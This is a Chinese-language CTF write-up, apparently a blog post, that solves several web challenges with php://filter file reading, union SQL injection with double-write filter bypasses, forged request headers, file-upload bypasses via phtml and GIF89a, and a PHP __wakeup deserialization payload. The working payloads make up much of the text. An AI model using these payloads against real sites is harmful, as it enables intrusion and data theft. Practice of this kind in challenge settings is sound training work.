打开网站,发现什么都没有,f12查看源码,发现href:Archive_room.php
查看Archive_room.php
点击SECRET,直接跳转到end.php
根据提示抓包查看中间过程的包,发现隐藏界面secr3t.php
访问secr3t.php
根据提示,需要读取flag.php
,而../
被过滤,再加上input和data被过滤,自然想到php://filter
读取文件
secr3t.php?file=php://filter/read=convert.base64-encode/resource=flag.php
# 判断注入类型:字符型
1 不报错
1' 报错
# 判断字段数:3
1' order by 3# 不报错
1' order by 4# 报错
# 判断回显位置:第三个位置
1' union select 1,2,3#
# 查数据库名:geek
1' union select 1,2,database()#
# 查表名:geekuser,l0ve1ysq1
1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='geek')#
# 查字段:id,username,password
1' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema='geek' and table_name='l0ve1ysq1')#
# 查询数据:flag{98012190-4652-46f4-85fa-b02d9c539c15}
1' union select 1,2,(select group_concat(id,username,password) from l0ve1ysq1)#
其实找到注入点用sqlmap就可以了,没有任何过滤非常简单,唯一注意的是根据回显的内容来寻找注入点。
打开如题,白给的shell,直接菜刀或者蚁剑连就是了,但是比较麻烦,我这里用Max Hackbar POST了:
注意加分号
查看网页源码,发现Secret.php
访问Secret.php
伪造Referer
字段
伪造user-agent
伪造X-Forwarded-for
referer
:代表从哪里来到当前页面进行访问的
User-Agent
:是消息头,可以在该消息头内了解到该网站所支持的浏览器同时可以知道访问该网站所用的浏览器以及浏览器版本,还能了解登录用的操作系统以及系统是多少位的
X_Forwarded_for
:可以用来伪造ip地址进行侵入,再填写一个公网地址,限制ip地址访问可以设置X_Forwarded_for的ip127.0.0.1进行侵入。
先上传一个基本小马:
f12查看源码,没有发现相关的文件类型判断,抓包,修改为
Content-Type: image/jpeg
猜测是对php文件类型过滤,依次尝试php3、php4、php5、phtml,发现phtml可以绕过
使用script标签绕过
推测检测文件头,加个GIF89a,上传成功
蚁剑连接或者POST数据都行
文件头检测:GIF89a
文件类型检测:image/jpeg
文件后缀检测:php、php3、php4、php5、phtml
文件内容检测:标签绕过
检测
上传小马,发现弹窗提示文件类型,推断为前端检测
禁用javascript或者删除onsubmit都行提示nonono~ Bad file!
,猜测后端还有文件类型检测,尝试php3、php4、php5、phtml,发现phtml可以上传成功
访问连接马或者执行命令都行:flag{0d68d0b7-91aa-4ef1-85f8-e1e735251e42}
多尝试绕过的姿势,前端绕过了可能还有后端验证等着,ctf做题最重要的是尝试,在真正找到考点前可能会经过很多次的失败,上次比赛如是,以后要更加注意
判断注入类型:字符型
1 不报错
1' 报错
判断字段数1' order by 3#
发现报错der 3#
,猜测是or被过滤,双写绕过1' oorrder by 3#
发现报错3#
,猜测是by被过滤,双写绕过1' oorrder bbyy 3#
,1' oorrder bbyy 4#
报错,字段数为3
![字段数猜解](https://img-blog.csdnimg.cn/5172c01b0fb24ea193c7e863837cf1b5.png#pic_center
判断回显位置,1' union select 1,2,3#
报错'1,2,3#'
,猜测select被过滤,双写绕过1' union sselectelect 1,2,3#
报错'select 1,2,3#'
,猜测union被过滤,双写绕过1' uunionnion sselectelect 1,2,3#
,成功注入,回显位置为3
查数据库名1' uunionnion sselectelect 1,2,database()#
查所有数据库名,注意information中也有or
1' ununionion sselectelect 1,2,(seselectlect group_concat(schema_name) from infoorrmation_schema.schemata)#
从报错信息看,过滤了from information_schema,对其进行双写绕过
1' ununionion sselectelect 1,2,(seselectlect group_concat(schema_name) frfromom infoorrmation_schema.schemata)#
查表名
1' ununionion sselectelect 1,2,(seselectlect group_concat(table_name) frfromom infoorrmation_schema.tables where table_schema='ctf')#
报错'='ctf
,猜测where table_schema被过滤,双写绕过
1' ununionion sselectelect 1,2,(seselectlect group_concat(table_name) frfromom infoorrmation_schema.tables whewherere table_schema='ctf')#
查询字段:
1' ununionion selselectect 1,2,group_concat(column_name) frfromom (infoorrmation_schema.columns) whwhereere table_schema='ctf' and table_name='Flag'#
报错table_name='Flag'
,猜测过滤And,双写绕过
1' ununionion selselectect 1,2,group_concat(column_name) frfromom (infoorrmation_schema.columns) whwhereere table_schema='ctf' aandnd table_name='Flag'#
查字段1' ununionion selselectect 1,2,flag frfromom ctf.Flag#
database.table
打开网站,根据提示查看备份www.zip,备份文件常见名字和后缀可参考这篇文章
信息泄露->备份文件
查看index.php,源码如下:
<?php
include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);
?>
查看class.php,源码如下:
include 'flag.php';
error_reporting(0);
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function __wakeup(){
$this->username = 'guest';
}
function __destruct(){
if ($this->password != 100) {
echo "NO!!!hacker!!!";
echo "You name is: ";
echo $this->username;echo "";
echo "You password is: ";
echo $this->password;echo "";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "hello my friend~~sorry i can't give you the flag!";
die();
}
}
}
?>
很明显的一道Wakeup反序列化漏洞题,构造序列化数据
class Name{
private $username = 'admin';
private $password = '100';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function __wakeup(){
$this->username = 'guest';
}
}
$name = new Name();
print(serialize($name));
?>
得到序列化数据O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";}
,修改Object数量为3
需要注意的是private、protected 类型的变量,序列化之后字符串首部会加上%00*%00,所以最终payload为:
O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}